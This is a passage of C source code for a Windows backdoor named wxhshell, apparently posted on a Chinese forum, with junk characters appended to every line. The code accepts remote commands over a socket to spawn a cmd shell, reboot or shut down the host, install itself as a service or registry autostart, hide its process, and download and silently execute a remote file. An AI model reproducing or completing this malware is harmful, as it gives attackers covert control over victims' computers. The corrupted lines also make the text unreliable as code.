  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _tBTE%sO  
  } ]`kmjn  
  else { rd9e \%A  
=K6($|'=  
    switch(cmd[0]) { XzIl`eH  
  *.!Np9l,V  
  // 帮助 Fxm$9(Y  
  case '?': { 1UE6 4Kl:S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dYL"h.x  
    break; (+B5|_xQu  
  } 4"(<X  
  // 安装 S" xKL{5  
  case 'i': { R:#k%}W  
    if(Install()) nPye,"A Ol  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CitDm1DXt/  
    else _NMm/]mN /  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oZ!m  
    break; 6"~P/\jP  
    } F;+|sMrq  
  // 卸载 @ Wd9I;hWv  
  case 'r': {  *T5!{  
    if(Uninstall()) w]]8dz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UPG9)aF  
    else DP3PYJ%+B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \'|> p/5I  
    break; mGJasn  
    } i(>4wK!!  
  // 显示 wxhshell 所在路径 ^-,xE>3o  
  case 'p': { y#q?A,C@n  
    char svExeFile[MAX_PATH]; b)=[1g/=L  
    strcpy(svExeFile,"\n\r"); /+@p7FqlE  
      strcat(svExeFile,ExeFile); }Q=!Y>Tc  
        send(wsh,svExeFile,strlen(svExeFile),0); q U]gj@R  
    break; <})2#sZO!  
    } w-Da~[J  
  // 重启 vTJ}8  
  case 'b': { ~])t 6i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @Ub"5Fl4  
    if(Boot(REBOOT)) J/[=p<I)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0cJWJOj&  
    else { g K[YQXfTy  
    closesocket(wsh); @te!Jgu{  
    ExitThread(0); .=X}cJ]`[  
    } Hm%;=`:'  
    break; rvnT6Ve  
    } xHz[t6;4;  
  // 关机 gqu?o&>9  
  case 'd': { 2oNk 93D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wid;8%m  
    if(Boot(SHUTDOWN)) %F-ZN^R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TWQG591  
    else { f!!V${)X  
    closesocket(wsh); X@K-^8  
    ExitThread(0); P!+'1KR  
    } cm&I* 0\  
    break; `C$:Yf]%nG  
    } bO'Sgc[]  
  // 获取shell @I_8T$N=  
  case 's': { =8; {\  
    CmdShell(wsh); aC%m-m  
    closesocket(wsh); uF1~FKB  
    ExitThread(0); D"ND+*Q [X  
    break; b\-&sM(W"  
  } f] J M /  
  // 退出 K }Vv4x1U  
  case 'x': {  B[Zjfc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V3c l~  
    CloseIt(wsh); Ah k8  
    break; C4~;yhz  
    } &?*V0luP)  
  // 离开 %jJ>x3$F  
  case 'q': { kH]yl 2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fO0XA"=  
    closesocket(wsh); +eFFSt  
    WSACleanup(); y5do1Z  
    exit(1); n~A%q,DmF  
    break; ^OstR`U3  
        } K)Q]a30  
  } <xgTS[k  
  } ML( E o  
L:1^Kxg  
  // 提示信息 MD|5 ol9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;S57w1PbVA  
} (&+kl q  
  } 0Sgaem`  
:yeq(o K,  
  return; dv.(7Y7.x  
} b+f'[;  
mxz-4.  
// shell模块句柄 BbgnqzU  
int CmdShell(SOCKET sock) 1#0{@35  
{ ++V=s\d7  
STARTUPINFO si; 0IfKJ*]M  
ZeroMemory(&si,sizeof(si)); b#K:_ac5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O'W0q;rT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y@b.sMg{  
PROCESS_INFORMATION ProcessInfo; l)!n/x_ !  
char cmdline[]="cmd"; 8erSt!oM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >|twyb  
  return 0; 't6V:X  
} /)4I|"}R0I  
_g~qu [1  
// 自身启动模式 yp66{o  
int StartFromService(void) ) *,5"CO  
{ k[HAkB \{  
typedef struct xYhrO  
{ j{Txl\D>  
  DWORD ExitStatus; 8AnP7}n;?'  
  DWORD PebBaseAddress; `.x Fiyc  
  DWORD AffinityMask; A@sZ14+f  
  DWORD BasePriority; |m80]@>  
  ULONG UniqueProcessId; XI9js{p  
  ULONG InheritedFromUniqueProcessId; ,B0_MDA +  
}   PROCESS_BASIC_INFORMATION; ^Nmg07_R  
A` AaTP  
PROCNTQSIP NtQueryInformationProcess; Dg} Ka7H  
D,g1<:<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nSkPM 5\TI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qUOKB6  
x}Aw)QCh+r  
  HANDLE             hProcess; /yZQ\{=  
  PROCESS_BASIC_INFORMATION pbi; VxXzAeM  
DXa-rk8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~R &;v3  
  if(NULL == hInst ) return 0; #_(jS+lP?k  
`$B3X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :@!ic<p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Qbyv{/   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qfK`MhA}  
&d5ia+ #  
  if (!NtQueryInformationProcess) return 0; <~n$1aA  
;d'Z|H;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m q{];  
  if(!hProcess) return 0; ea~:}!-P  
OBP1B@|l$+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2c:#O%d(  
Vgyew9>E  
  CloseHandle(hProcess); 6p?JAT5  
\@1=stK:F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &bp=`=*  
if(hProcess==NULL) return 0; e`v`XSA[p  
@$2))g`  
HMODULE hMod; K"[AxB'F  
char procName[255]; q7-L53.x  
unsigned long cbNeeded; ~I799Xi  
ZG du|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6'RrQc=q  
gF5a5T,  
  CloseHandle(hProcess); %B)6$!x  
IrWD%/$H  
if(strstr(procName,"services")) return 1; // 以服务启动 S-'fS2  
qq1-DG  
  return 0; // 注册表启动 SJ};TEA  
} vJU*>U,  
K a(J52  
// 主模块 lME)?LOI  
int StartWxhshell(LPSTR lpCmdLine) /M*a,o  
{ zdEPDd B  
  SOCKET wsl; }LijnHH.  
BOOL val=TRUE; " $ew~;z  
  int port=0; Iz{R}#8CZ  
  struct sockaddr_in door; sPb=82~z  
S.d^T](  
  if(wscfg.ws_autoins) Install(); ?w+Ix~k  
Zt&6Ua[Y}  
port=atoi(lpCmdLine); ,57`D'  
!DI{:I_h(  
if(port<=0) port=wscfg.ws_port; z ly unJD(  
wj1{M.EF\  
  WSADATA data; pIKSs<IP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FA }_(Hf.[  
.LuB\o$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   QEu=-7@>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !grVR157P  
  door.sin_family = AF_INET; yin'vgQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^-a8V'  
  door.sin_port = htons(port); d'|, [p  
viAMr"z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { UD)e:G[Gat  
closesocket(wsl); PGARXw+  
return 1; LT,?$I  
} F1Hh7 F  
N?m0US u*  
  if(listen(wsl,2) == INVALID_SOCKET) { if]Noe  
closesocket(wsl); PT5AA8F  
return 1; k~|-gf FP  
} D Kw*~0  
  Wxhshell(wsl); j$7Xs"  
  WSACleanup(); h#hxOVl%x  
5 XA=G  
return 0; I6s3+x;O  
5&e<#"  
} >"@?ir  
?*oKX  
// 以NT服务方式启动 J-<^P5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BkZV!Eg  
{ ((^sDE6(  
DWORD   status = 0; -dO'~all  
  DWORD   specificError = 0xfffffff; =SAU4xjo  
"9bN+1[<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9P<[7u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _"%B7FK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zA;@@)hwR  
  serviceStatus.dwWin32ExitCode     = 0; XZ/[v8  
  serviceStatus.dwServiceSpecificExitCode = 0; N|Sf=q?Ko  
  serviceStatus.dwCheckPoint       = 0; I Nc^L  
  serviceStatus.dwWaitHint       = 0; _zu?.I0^  
~-83Q5/[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); //&j<vu s  
  if (hServiceStatusHandle==0) return; +~ #U7xgq/  
R+~cl;#G6  
status = GetLastError(); %,iIpYx  
  if (status!=NO_ERROR) 07/L}b`P  
{ >2?aZ`r+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !8@*F  
    serviceStatus.dwCheckPoint       = 0; a@pz*e  
    serviceStatus.dwWaitHint       = 0; ~kCwJ<E  
    serviceStatus.dwWin32ExitCode     = status; & ``d  
    serviceStatus.dwServiceSpecificExitCode = specificError; l6u&5[C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _NcY I  
    return; m"9XT)N  
  } WpLZQ6wH  
[,aqQ6S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Do]*JO)(  
  serviceStatus.dwCheckPoint       = 0; f N "tA  
  serviceStatus.dwWaitHint       = 0; P &)1Rka  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -OYDe@Wb]  
} e62Dx#IY  
k5&bq2)I  
// 处理NT服务事件,比如:启动、停止 6st^4S5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $^tv45  
{ vwr74A.g0  
switch(fdwControl) {@u<3 s  
{ ItX5JV)  
case SERVICE_CONTROL_STOP: (#oycj^<  
  serviceStatus.dwWin32ExitCode = 0; ;_:Ool,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a0*2) uL}  
  serviceStatus.dwCheckPoint   = 0; 8:.nEo'  
  serviceStatus.dwWaitHint     = 0; Q#Y k?Kv~  
  { WM)F0@"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #2tCV't  
  } i\H+X   
  return; XTDE53Js&  
case SERVICE_CONTROL_PAUSE: 60Z]M+8y8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?Mp1~{8  
  break; E&B{5/rv  
case SERVICE_CONTROL_CONTINUE: to6;?uC+|i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z\/53Sy<  
  break; 6TH!vuQ1(  
case SERVICE_CONTROL_INTERROGATE: d3]hyTqbtm  
  break; 4q$H  
}; C#w]4$/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ofW+_DKB?l  
} 5=KF!?  
h~7,`fo  
// 标准应用程序主函数 0"g@!gSrQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YGsS4ia*4i  
{ L "<B;u5pM  
f '6|OsVQ  
// 获取操作系统版本 5v^L9!`@%v  
OsIsNt=GetOsVer(); (XH2Sy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); IB|]fzy  
A7P`lJgv  
  // 从命令行安装 {5%/T,  
  if(strpbrk(lpCmdLine,"iI")) Install(); s~},y]YV  
oY`qInM_  
  // 下载执行文件 CT d|`  
if(wscfg.ws_downexe) { jLcHY-P0V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Vdn.)ir~P  
  WinExec(wscfg.ws_filenam,SW_HIDE); $gMCR b,  
} %So] 3;'  
P=H+ #  
if(!OsIsNt) { o7+>G~i  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q&M'=+T  
HideProc(); 5% nt0dc  
StartWxhshell(lpCmdLine); 50a\e  
} !6w{(Rc(C  
else 0W>9'Rw  
  if(StartFromService()) MjaUdfx  
  // 以服务方式启动 D*vm cSf  
  StartServiceCtrlDispatcher(DispatchTable); Pj7gGf6v  
else Ak~4|w-  
  // 普通方式启动 ;T ZGC).6  
  StartWxhshell(lpCmdLine); `dJDucD  
["3df>!f  
return 0; Poa?Ej  
}
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只看该作者 1 发表于: 2006-10-10
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